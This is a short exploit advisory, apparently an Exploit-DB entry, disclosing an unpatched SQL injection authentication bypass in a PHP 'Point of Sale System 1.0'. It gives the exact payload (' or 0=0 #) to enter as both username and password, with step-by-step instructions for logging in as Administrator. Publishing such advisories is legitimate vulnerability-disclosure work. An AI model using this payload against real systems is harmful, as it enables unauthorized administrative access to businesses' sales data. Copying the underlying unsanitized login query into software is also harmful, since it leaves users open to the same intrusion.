# Exploit Title: Point of Sale System 1.0 - Authentication Bypass # Exploit Author: Saeed Bala Ahmed (r0b0tG4nG) # Date: 2020-12-17 # Google Dork: N/A # Vendor Homepage: https://www.sourcecodester.com/php/9620/point-sale-system-pos.html # Software Link: https://www.sourcecodester.com/download-code?nid=9620&title=Point+of+Sale+System+%28POS%29+using+PHP+with+Source+Code # Affected Version: Version 1 # Patched Version: Unpatched # Category: Web Application # Tested on: Parrot OS # Description: Easy authentication bypass vulnerability on the application allows an attacker to log in as Administrator. Step 1: On the login page, simply use { ' or 0=0 # } as username Step 2: On the login page, use same query{ ' or 0=0 # } as password All set you should be logged in as Administrator.